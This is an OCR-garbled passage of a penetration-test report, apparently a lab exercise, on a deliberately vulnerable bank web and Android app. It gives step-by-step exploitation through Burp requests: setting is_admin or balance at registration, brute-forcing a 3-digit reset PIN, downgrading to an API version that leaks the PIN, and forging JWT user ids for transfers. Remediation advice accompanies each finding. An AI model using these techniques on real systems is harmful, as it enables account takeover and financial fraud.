LCI1e2WybmFtZSI 6ImV1ZGOxI 1wl aXNfYWRtaw41 OnRydwUsImlhd 2 Server: Werkzeug/2.0.1 Python/3.9.25
CIBMTc2M] g4NT kwhHO . V98AZ2UQ3] BOSG40s 4L HOeg tuy9rMSS3NUF o Date: Tue, 11 MNov 2025 19:00:25 GMT
AMcZZCcCs 11
12 Priority: u=0 11 1{
14 12 "debug_data":{
15 1 13 "account_number":“4658165852“,
"username" ;"eeeedddd", 14 "halance":1000.0,
"password" :"123456" 15 "fields_registered":[
} 16 "username",
17 "password",
18 "account_number“
19
20 "1s_admin":false,
21 T raw_data™:{
22 "password":"123456",
23 "username" :"eesedddd"
24 }' . . .
o5 "registration_time":"2025-11-11 19:00:25.325854",
26 "server_info":
"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/
20100101 Firefox/128.0",
27 "user_1d":7,
o8 "username" :"eeceedddd"
29 1,
30 "message" :
"Registration successful! Proceed to login",
=1 "status":"success"
32 1

2. We notice the is_admin on the response side is set to false.
3. We can send theHTTP request to the repeater where we will manipulate the is_admin to
true by adding it to the request side.

Request Response

® W = pretty  Raw  Hex
1 HTTP/1.0 200 OK
2 Content-Type: application/json
S Content-Length: 617
4 X-Debug-Info: {'user_id': 8, 'username': 'eeeeddddl’, 'account_number': ‘6904052839, 'balance': 1000.0,
‘is_admin': True, 'registration_time': '2025-11-11 19:08:28.260458', 'server_info': ‘Mozilla/5.0 (x11; Linux
xB86_64; rv:128.0) Gecko/20100101 Firefox/128.0', 'raw_data': {'username': 'eeeeddddl', 'password': '123456',
‘is_admin': 'true'}, 'fields_registered': [*username', 'password', 'account_number', 'is_admin'1}
5 X-User-Info: id=8; admin=True;balance=1000.00
& Access-Control-Allow-Origin: http://localhost:85
7 Vary: Origin
& Server: Werkzeug/2.0.1 Python/3.9.25
o Date: Tue, 11 Nov 2025 19:08:28 GMT
2yI0eXA101.KV1QiLCIhbGE1 01 JTUZT 1N 39, ey J1c2Vy 21k T 0 1LCI 1c2VybnFt 25T LMV ZGQxT Lwi aXNFYWREaWAL OnRy dwUsInlhdCI6MTe |10

Pretty Raw  Hex  Hackvertor  JSON WebToken Hackvertor n

1 POST /register HTTP/1.1
2 Host: Localhost:e5

5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
4 Accept: */*

S Accept-Language: en-US,en;q=0.5

& Accept-Encoding: gzip, deflate, br

7 Referer: http://localhost:g5/register

& Content-Type: application/json

9 Content-Length: 66
10 Origin: http://localhost:as
11 Gonnection: keep:alive

2Mj g4NT kwhHO . V98A21Q3] BOSG405 41 HO=q Uy I rMESINUFAMCZZCCCs 1

13 Priority: u=o 12 "debug_data’: {

14 13 "account_numbe " : "6904052839" ,

15 [ 14 "balance”:1000.0,

"username” :* eceeddddl”, 15 "fields_registered:[
"passwords:»123456", 16 "usernanme

5 "is_admin®:® truet 17 "password” ,

17 b 18 "account_number” ,
19 "is_admin®
20 L.
21 "is admin®:true,
22 "raw_data’:{
23 "is_admi
24 "passwor
25 "username":'eceedddd1"
26 1,
27 "registration_time":"2025-11-11 19:08:28.250458",
23 T'Mozilla/s.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
29
0
31 1
2 "message’ :*Registration successfull Proceed to login”,
33 "status:"success’
3a '}
s
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4. After registering we can now login with the credentials we created and on the dashboard
we see an admin panel

Vulnerable Bank Welcome back, eeeedddd1
Tuesday, November 11, 2025

Profile
CURRENT BALANCE

$1000.0

Account Number: 6904052839

Loans

4l Transaction History

Virtual Cards u $

Send Money Request Loan

Transfer money to another account Need funds? Apply for a loan with
quickly and securely. competitive rates.

Virtual Cards Pay Bills

Create and manage your virtual payment Pay your bills easily from your account.
cards.

5. Click on the admin panel tab and we see that admin privileges are set in this account.
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System Administrator

User Management

ID Username Account Number Balance Admin Actions

1 admin ADMINOO1 $1000000.00 True
2 eddie 8967583737 $-999.00 False
3 mwangi 4615360352 $2999.00 False
6 eeeddd 4769590667 $1000.00 False
7 eeeedddd 4658165852 $1000.00 False
8 eeeedddd] 6904052839 $1000.00 True

Recommendations

Short term
e Immediately remove the ability for clients to set privilege or role based fields.
e Restrict admin functionality access strictly to trusted accounts.

Long Term
e Ensure sensitive parameters cannot be modified by client requests.
e Users should never assign privileges.

Summary

Affected system: registration page

Vulnerability: Privilege escalation

Exploit: changing is_admin value

Severity: Critical

Remediation: Immediate.

4.2.7 Unauthorized Account Balance Manipulation

Overview

In this vulnerability the process is similar to the privilege escalation but rather than changing the
is_admin parameter we change the balance parameter. This vulnerability occurs during the
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account registration process where the application allows user-supplied parameters to determine
sensitive financial values. When an account is being created the default starting amount balance
is set to $1000, for this we created an account but override it to set the balance to $20,000. All
this is done in the registration API. since there is no proper server-side validation in place the
system accepts the manipulated value. This vulnerability is classified under improper input
validation(CWE-20) (“CWE - CWE-20: Improper Input Validation (4.18)”)

Severity

CVSS:4.0/AV:NJAC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L

CVSS v4.0 Score: 8.9 [ High @

The severity is set to high this is because the affected business function hinders the
confidentiality and integrity of the balance to be achieved. This vulnerability can be exploited by
any user without technical knowledge leading to large-scale fraud.

Impact

This vulnerability enables a user with lowest privilege to create an account and set the balance
they want it to be. This is a key organ in the organization that when exploited may cause the
organization to go bankrupt this is because the balance integrity is not achieved since it is
manipulated. Customers may lose trust due to flawed accounting systems leading to loss of
customers. As an organization you are in violation to the PCI/DSS standard since the system
does not validate input enabling client side manipulation. This will lead to legal and financial
repercussions.

Evidence of finding

The steps to reproduce this finding are similar to the privilege escalation. They are:
1. Go to the registration page to create a new account.
2. Capture the HTTP request in Burp and go to it
3. Under balance in the Json and balance and amount you want we did 20000.
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Response

Request
Pretty  Raw  Hex  Hackvertor  JSON WebToken _ M = | pretty Raw Hex  Rende Hackvertor w
1 POST /register HITP/1.1 1
2 Host: Llocalhost: &5 2 Content-Type: application/json
3 User-Agent: Mozilla/s.0 (XL1; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 = Content-Length: 618
4 Accept: /% 2 X-Debug-Info: {'user_id': 9, 'username': 'eeeedddd2', 'account_mumber': '0767227825', 'balance’: 20000.0,
5 Accept-Language: en-US,en;q=0.5 'is_admin': False, 'registration_time': '2025-11-11 10:25:07.799478', 'server_info': 'Mozilla/5.0 (X1L; Linux
& Accept-Encoding: gzip, deflate, br x86_64; rvi128.0) Gecko/20100101 Firefox/128.0', 'raw_data': {'username': 'eceedddd2', 'password': '123456',
7 Referer: http://localhost:8S/register ‘balance’: '20000'}, 'fields_registered': ['username’, 'password', 'account_number', 'balance'l}
g Content-Type: application/json 5 X-User-Info: 1d=9;admin=False;balance=20000.00
o Content-Length: 66 & Access-Control-Allow-Origin: http://localhost:es
10 Origin: http://localhost:8s - Vary: Origin
11 Connection: keep-alive & Server: Werkzeug/2.0.1 Python/3.9.25

s o Date: Tue, 11 Nov 2025 18:25:07 GMT

©y10eXA101IKVIQi LCINbGE101.) TUZL 1N JS. eyJ 1c2vyX21k1j01LCI 1c2VybnFtZST6ImVI ZGQxI Lwi aXNfYWRtawWa1 onRy dwusTmLhdCT6MTC |10
jSAR

2M] gANTkWNHO . VSBA2UIQ3] BOSGA0s 4L Hoeg tuy SrMS93NUFAMc ZZCcCs
2

15 1
15 "fields_registered": [

12 +debug_data® :{

"username": 'eeeedddd2",
*password: : * 123456 16 “username,
16 *balance" :"20000" - +passordt,
7} 18 *account_number
19 *balance”
B 1,
21 +is_admin®ifalse,
22 *ray_data" :
23
24 i
> susername : aseeddddar
26 1
> “registration_time':"2025-11-11 19:25:07.798478" ,
Bl *server_info*:"Mozilla/s.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
2 “user_id*:,
30 "username" :'eeeedddd2"
31 I
2 “message" :*Registration successful! Proceed to Login®,
B "status" :"success”
34}
=

4. Send the request and notice that on response we see the amount is set to $20000.
Go and login to the bank with the credentials you created
6. Notice the balance has been set to the amount you set, ours was 20,000.

hd

Welcome back, eeeedddd?2

Tuesday, November 11, 2025

CURRENT BAL

$20000.0

T

Account Number: (

Recommendation
These are some of the recommendations we can make

Short term
e Enforce server-side validation to restrict modification
e Reject any client-supplied balance values during account registration
Long term
e Implement business logic validation controls to verify financial rules.
e Ensure only authorized backend systems can modify financial values.
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Summary (H4)

Affected system: /registration API, registration page
Vulnerability: Unauthorized Account balance manipulation
Exploit: Changing the balance parameter in registration
Severity: High

Remediation: high

4.2.8 Broken rate limiting

Overview

Rate limiting refers to a technique put in place that controls the number of requests a user can
make to a system within a specified time frame. Its purpose is to mitigate brute-force attacks and
abuse of functionality. In this case when a user requests to reset their password they are required
to enter their username where an OTP is then sent to their email. In the input field where the
OTP is to be entered we are informed it's a 3 digit pin(OTP). With this information one is able to
bruteforce the OTP to get it. Due to lack of rate limiting an attacker is able to brute-force all
possible combinations.

Severity(H4)

CVSS:4.0/AV:N/AC:H/AT:N/PR;L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVSS v4.0 Score: 8.9 / High @

The severity is set to high because once an attacker is able to reset a password, they are able gain
unauthorized access to the user and perform financial fraud and also lock out the legitimate user.
This leads to confidentiality breach, integrity violation and lack of availability of the account to
legitimate users.

Impact

The main concern here is account take over enabling authorized transactions. This vulnerability
impacts confidentiality, since once an attacker gains access to the OTP they get information that
they are not authorised to do. It affects availability since an attacker having created the new
password the old password wont be in use anymore denying the legitimate user access to their
account. This may lead to customers losing trust with the organization leading to reputational
damage.

Evidence of finding

These are the steps to reproduce this finding:
1. Navigate to the reset password page
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Enter the username of an existing account that we will reset the password.

Send the username and you'll be redirected to a page where we are required to enter
username, 3-Digit Reset PIN and new password.

Reset Password

Username

3-Digit Reset PIN

Mew Password

Reset Password

Back to Login

APl Version: v2

4. Go to burp and send the request to burp so as to brute force it.

5. Where the value of reset pin is stored place our payload, set payload to numbers, bumber
range from 000- 999 and number formats to 3 digits
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@ Sniper attack

Target | httpi/flocalhost:85 Update Host header to match target
Positions Add § Clear § Auto §
1 POST fapi/v2/reset-password HTTP/1.1

w N

13
14

Host: localhost:g85

User-Agent: Mozilla/5.0 (X11; Linux xB86_64; rv:128.0)
Gecko/20100101 Firefox/128.0

Accept: #*/%

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://localhost:85/reset-password
Content-Type: application/json

Content-Length: 58

origin: http://localhost:85

Connection: keep-alive

Cookle: token=

eyJ0eXAL0LIKV1QLLCIhbGe101JIUZI IN1JS. ey] 1c2Vy X21kI josSL
Cl1lc2VybmFtZSIEImV1ZwVk ZGRkM1 IsImlzX2FkbWLul j pmyWxzZSw
1aWFOI JoxNzYy0DgSMzE3f Q. ppNpmsr_HIBgmWnrt rmeDOx - 4HREY n
upoYYpQtZlAcM

Priority: u=0

{"username":"eddie","reset_pin" "new_password"

$'120}

w (®) Start attack

Payloads m ) x
Payload position: | All payload positions

Payload type: MNumbers v
Payload count: 1,000

Request count: 1,000

Payload configuration ~

This payload type generates numeric payloads within a given range and ina
specified format.

Number range

Type: @) Sequential Random

From: 000

To: 999

Step: 1

How many:

Number format

Base: ® Decimal Hex

Min integer digits: 3

Max integer digits: | 3

Min fraction digits: | O

Max fraction digits: | O

Examples

om

3

Payload processing v
Payload encoding e

6. Start the attack and wait till we get a success message.
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Request Payload Status code Response r.. Error Timeout  Length Comment
[142 141 200 4 290
274 273 400 4 278
273 272 400 3 278
272 27N 400 4 278
27 270 400 4 278
270 269 400 1 278
269 268 400 4 278
268 267 400 4 278
267 266 400 4 278
266 265 400 4 278
265 264 400 1 278
264 263 400 4 278
263 262 400 3 278
262 261 400 3 278
261 260 400 3 278
260 259 400 3 278
259 258 400 3 278
258 257 400 3 278
257 256 400 4 278
256 255 400 4 278
255 254 400 3 278
254 253 400 3 278
253 252 400 4 278
252 251 400 4 278
251 250 400 3 278
250 249 400 1 278
249 248 400 3 278
248 247 400 3 278
247 246 400 4 278
246 245 400 3 278
245 244 400 4 278
244 243 400 3 278
243 242 400 4 278
7. We got a success and the payload is set to 141.
8. Clicking on the HTTP request we see this

Request Response

Pretty Raw Hex Hackvertor JSON Web Token aE@w =

1 POST /apl/v2/reset-password HTTP/1.1

2 Host: localhost:85

2 User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:128.0) Gecko,/20100101 Firefox/128.0

4 Accept: */*

wu

Accept-Language: en-US,en;q=0.5

; Accept-Encoding: gzip, deflate, br

Referer: http://Llocalhost:85/reset-password

5 Content-Type: application/json

o Content-Length: 58

10 Origin: http://localhost:85

11 Connection: keep-alive

12 Cookie: token=
eyJ0eXA1 01 JKV1Q1LCIhbGe1 01 ITUzT IN1IS. eyl 1c2Vy X21k T J05LCI1e2VybmFtZST 6T mv1 2wk ZGRk ML TsTmlz X2Fk bW luT ] pmyWxz ZSwi aWF
0l j oxNz¥y0DgSMzEST Q. ppipmsr_HJBgmwn rt rmeDOx - AHREY NUR oYY pQtZI AOM

12 Priority: u=0

14

151

"username":"eddis",

"reset_pin":"141",

"new_password" : " 12"

}

~ o

9. The subsequent response to it is:
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Request Response
Pretty Raw Hex R Hackvertor
1 HITR/1.0 200 OK

;%]

LN

00 =~

1
11
12

(o]

Content-Type: application/json
Content-Length: 80

Access- Control-Allow-0Origin: http://localhost:85

Vary: Origin
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Tue, 11 MNov 2025 20:07:04 GMT

{

"message" :"Password has been reset successfully",

'“status“:“success“

iy

13

10. We can now go and try logging in with the new password to see if the password changed:

Request

Pretty Raw Hex Hackvertor JSON ... = n =

1 POST /login HTTP/1.1

> Host: localhost:85

3 User-Agent: Mozillas5.0 (X11; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0

4 Accept: #/#%

5 Accept-Language: en-US,en;g=0.5

10
11
12

13
14
13

; Accept-Encoding: gzip, deflate, br

Referer: http://localhost:85/1login

2 Content-Type: application/json
o Content-Length: 36

origin: http://localhost: 85

Connection: keep-alive

Cookie: token=
eyJ0eXAl01JKV1Qi LCIhbGe1 01 ITUZT 1INI IS, ey 1c2Vy X2k joy
LCI1c2VybmFtZSIBImvk ZGLLI 1wl a XN YWRtawW41 OmZhbHNMLLCIpY
XQLOJE3N]I40TMwNTRS . ColWe9GqCx90LWZr ABuCeMyz - f MSLxLsST
03PatsPyNY

Priority: u=0

{
"username":"eddie",
"password":"12"

i

a-= =
Response
Pretty Raw Hex Hackvertor n =
1 HITP/1.0 200 0K ]

B

w

I

o= @

24

Content-Type: application/]son

Content-Length: 477

Set-Cookie: token=
eyJOeXAL01JKV1QiLCIhbGei 0l JIUZI INL IS, eyl le2WyX2LkI joy
LCI1c2WybmFtZSIBImvkZGLLI 1wl aXNfYWRtaw41 OomZhbHNLLCIpY
XQ107E3N] I40T MwOTFS . wFkSPOAMI pFkSC4AWeSP- rRO1 ytGTtEt75
wdmzycSZIY; HttpOnly; Path=/
Access-Control-Allow-0Origin: http://localhost:85
Vary: Origin

Server: Werkzeug/2.0.1 Python/3.9.25

Date: Tue, 11 MNov 2025 20:31:31 GMT

{

"accountNumber" : "8957583737",

"debug_info":{
"account_number":"8967583?3?",
"1s_admin":false,

"login_time":"2025-11-11 20:31:31.713293",
"user_id":2,
"username":"eddie"
1,
"isAdmin":false,
|"message":"Login successful",
"status":"success",
"token" :
"eylOeXA101JKW1QiLCIhbGe101 JIUzI 1M1 9. eyl 12y X2k
JoyLCIle2WybmFtZSI6Imvk ZGL LI 1wl aXNf YWRtaw41 OomZhbHNL
LCIpYXQ10]jE3N] I 40T MwOTFS . wFkSP9AMI pFkSCAWesSP - rRO1yt
GTttt7SwdmzycSZay"

11. We get a successful login showing password reset was successful.

Recommendation

Short Term
e Enforce rate limiting

e Avoid explicit information disclosure length of OTP
Long Term
e Implement long and stronger OTP
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e [mplement multifactor authentication.
e Implement account lockout on multiple failed requests.

Summary

Affected system: Reset api
Vulnerability: Broken Rate limiting
Exploit: bruteforce OTP

Severity: high

Remediation: immediate

4.2.9 Insecure design

Overview

It refers to architectural flaws in software that create security vulnerabilities often due to
neglecting security considerations during the design phase. It's a vulnerability that exists not
because of faulty implementation but because the application’s architecture and design does not
consider security from the start. In this case when a user resets a password we see that the API
version in use is /api/V2/forgot-password. We can however change the version number to an old
existing version number (V1). when we change the version number we see that in this version
the PIN is being sent and displayed out. An attacker can use this to their advantage where they
just use an outdated version to get the OTP. (“A04:2021 — Insecure Design™)

Severity(H4)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:L/SA:L §

CVSS v4.0 Score: 9.9 [ Critical &

The severity is critical because unlike the previous one where we had to bruteforce to get the PIN
this one is provided openly to us without doing too much work.The ease of exploitation and
potential impact increases the risk.

Impact(H4)

This vulnerability makes the account takeover process easy. Once an attacker takes over the
account we can perform financial fraud. This will lead to customers losing trust making them
stop banking there. Further consequences include financial fraud and monetary loss,
non-compliance with data protection regulations and legal actions from affected users.
Evidence of finding
This are steps to reproduce this finding:

1. We can go and reset password from the reset password page
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2. We can see that the current version in use is v2

Reset Password

Username
3-Digit Reset PIN

Mew Password

Reset Password

Back to Login

APl Version: w2

3. Below is how the current version 2 works
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Request

Pretty Raw Hex Hackvertor I50... [ n =
1 POST /apifv2iforgot-password HTTR/1.1

2 Host: localhost:85

L

e W

User-Agent: Mozilla/5.0 (X11; Linux x86_64;
rv:128.0) Gecko, /20100101 Firefox/128.0

Accept: */*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://localhost:85/forgot-password
Content-Type: application/json

Content-Length: 20

Origin: http://localhost:85

P S SR

ey J0eXAL0LJKV1QILCIhbGe101JIUzI 1INLIS. eyl lc2VyX21kIjo
zLCI 1c2VybmFtZSIBIml3YWSnasSIsImlz X2FkbWlul j pmyWxzZSw
iaWFOIjOXNZYyOTQXMZISfQ.6PV7CEPBGHTRX9TNNRDbeBIOJFi
ub2atck CMhuglUIs

Priority: u=0
{

"username" :"eddie"
1

Content-Type: application/json
Access-Control-Allow-Origin: http://localhost:85

Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 12 MNov 2025 11:41:47 GMT

Hex

"debug_info":{
"timestamp":"2025-11-12 11:41:47.040877" ,
"username":"eddie"

"Reset PIN has been sent to your email.",
t'"success”

Response

Pretty Raw

1 HTTP/1.0 200 OK
2

= Content-Length: 178
4

S Vary: Origin

7

g 1
10
11
1z
13 1.
14 "message" :
15 "status"
15 }
17

4. We can intercept this request and change the version to v1 and send it

Request

Pretty

WK e

I

0o~ oW

o
[N =]

POST fapi4vljf0rg0t-passw0rd HTTR/1.1

Host: localhost:85

User-Agent: Mozilla/5.0 (X11; Linux x86 64;
rvi:128.0) Gecko/20100101 Firefox/128.0
Accept: */*

Accept-Language: en-Us,en;g=0.5
Accept-Encoding: gzip, deflate, br

Referer: http://localhost:85/forgot-password
Content-Type: application/json
Content-Length: 20

Origin: http://localhost:85

) Cookie: token=

eyJ0eXA101JKV1QILCIhbGe1 01 JTUZI INL IS, eyl le2vWyX2lkIjo
zLCI 1e2VybmFtZSI6Iml3YWSnaSIsImlzX2FkbWlul j pmyWxzZSw
1aWFOI JoxNzYyO0TQxMzISf Q. 6PV7CEP3GNTRXSTNNRDYNEBI o JFL
ub2atckcMhugUls

Priority: u=0

{
"username":"eddie"

}

Raw Hex Hackvertor J50... w n =

Response

0wk

o

10
11
12
132
14
15

16

17
18

Pretty

Raw

Hex

HTTR/1.0 200 OK

Content-Type: application/json

Content-Length: 2189

Access-Control-Allow-Origin: http://localhost:85

Vary: Origin

Server: Werkzeug/2.0.1 Python/3.9.25

Date: Wed, 12 Mov 2025 11:48:33 GMT

o 1

"debug_info":{
.||pin|| o 566", |
"pin_length":3,

"timestamp":"2025-11-12 11:48:33.633403",

"username" :"eddie"

I

Tstatus”

Amessage:
"Reset PIN has been sent to your email.",
r'success’

8

5. We notice that the pin is displayed out in the response side and yet they say the pin is still
sent to email

6. Use the pin to rest the pin and create a new password.
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Reset Password

Password reset successfull

eddie

566

Reset Password

Back to Login

APl Yersion: w2

7. We see that we got a success resetting the password

Recommendation(H4)

Short- term
e Disable outdated version, bring out an error cant be processed
e Strictly use secure versions only by validating API and rejecting requests to insecure
endpoints.
Long term
e Ensure developers follow secure software development lifecycle (SSDLC)from the
planning stage
e Implement automated API version control and retirement policies.
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Summary

Affected system: api/v2/forgot-password
Vulnerability: insecure design

Exploit: changing to vulnerable version
Severity:Critical

Remediation: Immediately

4.2.10 Improper File type Validation

Overview

This refers to where a system application fails to properly validate file types being uploaded. The
profile picture upload functionality is designed to accept image formats only .jpg, .jpeg, .png.
However, when testing it was determined that the application accepts non-image formats like
.txt. We started with a jpeg file and it was successful as it should, we then tried with a .txt file
and to our surprise it was successful.

Severity

CVSS:4.0/AV:NJAC:L/AT:N/PR:LJUL:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L

CVSS v4.0 Score: ®

The severity is medium since the files are being stored and the file we uploaded couldn’t be
exploited. However if executable files can be uploaded the severity could be high.

Impact

If an attacker creates a malicious script or executable file that can lead to remote code execution
or stored XSS.
Evidence of finding(H4)
This are steps to reproduce this finding:
1. Login to your account where we will go to the dashboard.
Go to the profile picture tab and click it to upload a file.
Pick any file that isn’t an image type. On our end we used test.txt as our file
Click it and we get a success message
Navigating to burp to its HTTP request we get to see it.

Al
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=

360 httpfflocalhost:85 GET [static/uploads/207492_test.txtv=... ¥ 200 336 text

Request Response

Pretty Raw Hex Hackvertor J50.. & o= Pretty Raw Hex Render Hackvertor

1 POST supload_profile_picture HTTR/1.1 1l HTTP/1.0 200 oK J

- Host: localhost:85 - Content-Type: application/json

3 User-Agent: Mozilla/5.0 (X11; Linux xB6_64; 3 Content-Length: 131
rv:128.0) Gecko/20100101 Firefox/128.0 4 Access-Control-Allow-Origin: http://localhost:85
Accept: */#* = Vary: Origin

[ =Y

Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate, br

o

Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 12 Nov 2025 10:34:11 GMT

o

7 Referer: http://localhost:85/dashboard =)

= Authorization: Bearer g {;
eyJOeXALOLIKVIQILCIhbGe101JTUZI INLIS. eyl 1e2vyX2lkI] 10 | "file_path":"static/uploads/297492 test.txt",
0zLCI1c2VybmFtZSIBIml3YWSnaSIsImlzX2FkbWlul jpmyWxzZ |11 "message’:"Profile picture uploaded successfully",
Sw1aWFOL joxNzY yOT QxMzIST Q. BPVZCEP3CGNTRXSTNNRDYNBBIo 12 "status":"success"
JF1uD2a6ckCMhugUL s 131

g Content-Type: multipart/form-data; 14
boundary=-------c-moma 282980552618450
O77152857833331

Lo Content-Length: 254

11 Origin: http://localhost:85
|z Connection: keep-alive

|3 Cooklie: token=

eyJOeXAL01IKVIQLLCIhbGe101TUzT INLIS. eyl 1c2VyX21kI ]
0zl CI1c2VybmFtZSIBIml3YWSnasSIsImlzX2Fkbwlul jpmyWxzZ
Swl aWFOL j oxMzY yOT QxMzISf Q. BPVZCER3GNT RXSTNNRDYNbEI o

JFiuD2a6ck cMhugUIs
|4 Priority: u=4
LS

LG | - mmmmm e 2820805526184900771528

57833331
|7 Content-Disposition: form-data; name="
profile_picture"; filename="test.txt"
|2 Content-Type: text/plain
LS
20 this 1s a test project
21

Recommendation

Short term

e Restrict file uploads to image formats only

e Implement file content inspection to block renamed non-image

Long term

e Implement antivirus/malware scanning on uploaded files.

Summary

Affected system: profile picture upload
Vulnerability: improper file type validation
Exploit: uploading .txt

Severity: Medium

Remediation: low
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4.3 Mobile Finding

Overview

This section provides a focused security assessment of the VulnBank APK. The objective of this review
was to identify and validate mobile security weaknesses that could be exploited under real-world
conditions, and to present clear, actionable, and prioritized remediation recommendations for the
development team to implement.

The assessment followed a combined static and dynamic analysis methodology.

Static analysis included decompiling the APK, reviewing the AndroidManifest.xml file, and inspecting
smali/classes for hardcoded secrets and insecure logic.

Dynamic analysis involved running the app in an emulator, intercepting traffic through Burp Suite, and
exercising backend endpoints to assess real-world impact.

Methodology

We followed a two-step analysis approach consisting of static analysis and dynamic analysis. Static
analysis involved decompiling the APK, inspecting the AndroidManifest.xml file, and reviewing smali
code for insecure logic and exposed secrets. Dynamic analysis involved running the APK inside an
emulator, intercepting network traffic using Burp Suite, and manipulating API requests to confirm
real-world exploitability.

Static Analysis

We started the process by decompiling the application using apktool

)| ~/Downloads
1pk d vulnbankapp.apk -o vuln_output
: Using Apktool 2.7.@0-dirty on vulnbankapp.apk
: Loading resource table ...
: Decoding AndroidManifest.xml with resources ...
! Loading resource table from file: /home/zizostar/.local/share/apktool/framework/1.apk
: Regular manifest package ...

: Decoding file-resources ...

: Decoding values */* XMLs ...

: Baksmaling classes.dex ...

: Baksmaling classes2.dex ...

: Copying assets and libs ...

: Copying unknown files ...

: Copying original files ...

: Copying META-INF/services directory
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) - [ ~/Downloads |

F.pdf C. 5
F_signed.pdf ‘Cric re Footba \PKPure.xapk’
Iy ppt’

t of Findi

( )-[~/Downloads ]
d vuln_output

) - | ~/Downloads /vuln_output

indroidMan xml apkto yml

AndroidManifest.xml Critical Findings

The androidmanifest.xml file is a security related file that could potentially reveal vulnerabilities. It
usually declares the app’s components and high-level app settings. Having this in mind, we investigated
the file and found very interesting vulnerabilities as seen below;

Hardcoded Credentials

We found admin credentials hardcoded in the AndroidManifest file, which is a serious security risk
because anyone with access to the APK could use them to gain full administrative control.

Risk
e Immediate compromise of the admin account.
e This could lead to unauthorized access to sensitive information, e.g., user data and fund
transfer endpoints.
Recommendation

e Remove hardcoded credentials from the APK immediately.
e Use proper authentication and server-side authorization checks.

Debug Endpoint
The AndroidManifest exposed a debug endpoint that shouldn’t exist in the app, as it could allow attackers

to access sensitive information or perform unauthorized actions.

Risk
e This could lead to the discovery of privileged endpoints that may be protected
e Attackers can call debug endpoints to enumerate users, change state, or elevate access
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Recommendation
e Remove debug endpoints from release builds
o Debug endpoints should lie behind strong server-side authentication.

Analyzing The Smali Files

To do this, we extracted the classes.dex file from the original APK file. The classes.dex holds the
classes and methods that define the app’s functionality. Analyzing this file can reveal application
logic, vulnerabilities, and sensitive app operations.

)~ [ ~/Downl
vulnbankap k ¢

_APKPure.xapk'
quad 9.ppt’

apture the F1

OTION.json'

To analyze this file, we ran the following commands

Findings in Secrets.Class

The ‘Secrets.class’ file revealed more hardcoded information. The file contained secrets such as debug
endpoint, an administrative JWT and an old API key:

|~ [ ~/Downloads

MTE-CONF.p
E-CONF_s

he Flag Report Squad 9.pdf’

11.54-1.pdf’

File Edil Navigalion Seardh Help
=

= winbank, Jart: |

androld, support. v
androidx

holts

com

# kotlink. coroutines
okhttp3
# okio

} - [~/Downloads |
i vulnbank.jar
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Flle Edit Mavigation Search Help
G &

i + vulnbank.jar 7% ]

& H android.suppart.vl 5 secr
antroidx

o @ bolts package con wulnerszlebankaze;
+ i com
o # laceboak public class Secrets | _ )
o @ google. common, wtll.concurrent public static final String DEGLC_SHDPOIRT = “hitp:/

public static final String HARCCOID_ADKTH_INT LT o i M O Ry T LA CTEMTE O 4 TpH00. - T B

public static tinal String OLD ARTKEY = *tk_test_SILbriuFacsl
1

ok s
o 44 Malnapplication.dass
o 4} PrefsHelper.dass

o 5L Rdass

o L secrets. dass

o 4 kol
= 4 kotlink.coroutines
o H okhttps
= 4 vkia
RISK
The embedded JWT can be used to impersonate an administrator and lead to sensitive data
exposure.
The API key can be used to perform unauthorized requests against backend systems
The debug/users endpoint may reveal sensitive information or administrative functionality if
accessible.
Hardcoded secrets cannot be securely revoked without releasing a new application build.
Recommendation

Sensitive credentials such as JWTs, API keys should be securely stored on the server side and
accessed through properly authenticated API calls.

Remove or disable any debug endpoints in production builds and ensure strict access control

Findings in SharedPreferences

In this file, we found plaintext storage of credentials and balance. We also captured the debug flag.

public static void storeSecrets(Context paramContext) {

SharedPreferences.Editor  editor = paramContext.getSharedPreferences("VulnBankPrefs",
0).edit();

editor.putString("username", "admin");

editor.putString("password", "admin123");

editor.putString("balance", "$999999");

editor.putString("debug_flag", "FLAG{HardcodedSecretsAreBad}");

editor.apply();

Dynamic Analysis of VulnBank

While performing runtime analysis of the application, we observed that simply logging in as a regular

user exposed a large amount of sensitive information through the app’s responses.
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Unauthorized money transfer

We tested the /transfer endpoint, which is used for money transfer, and found that we could transfer
money from an arbitrary account to my account (or any other user account). This was possible by simply
modifying the user id parameter in the Authorization token to that of the victim (even without changing
the from_account parameter to that of the victim's account number). This shows that the authorization
bearer token doesn’t require a valid JWT signature; it only checks if the user id in the token exists.

Burp  Project

Intruder Repeater \View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer

1 x +

Request

Pretby Raw Hex [ B wo=

L POST ftransfer HTTR/2

w

Hest: vulnbank.org

cookie: token=

2y]0eXALOLIKV10LLCIhb G101 JTUZT 1ML I8, ZX LK My v LY M rSWp v e SUZ 3dM000 1Y 2
JwewW] tRNRAUoK 25WSwe GV t0Xpk ROZSSW] 3aWFY TRIZZY LI OF Ve DalstWwnhl SESsTEMKEF LY U
WLPakUzT mphHk SETTINORELS . dth 2NRGSx AcwAUST f B_cAGSZETVS_ZnglNK_YU47Fe
Authorization: Bearer

ey JOa¥ALOL JKVI0LLCIhbGe101 JTUZT 1ML I 9. eyl 1e2Vy X2k | oyOT gwlCd 1e2VybrEtZs
I6InppemSzdGEyI 1wl aXNf YWRtawWd: omZhbHNLLCIpY X1 0] E3N] MNzM3NDES . dth2nRg 8
xhowdUET f Og_cAGEZELVS Zing INX_YU4TSc

Content-Type: application/json

Content-Length: 109

Accept-Encoding: gzip, deflate, br

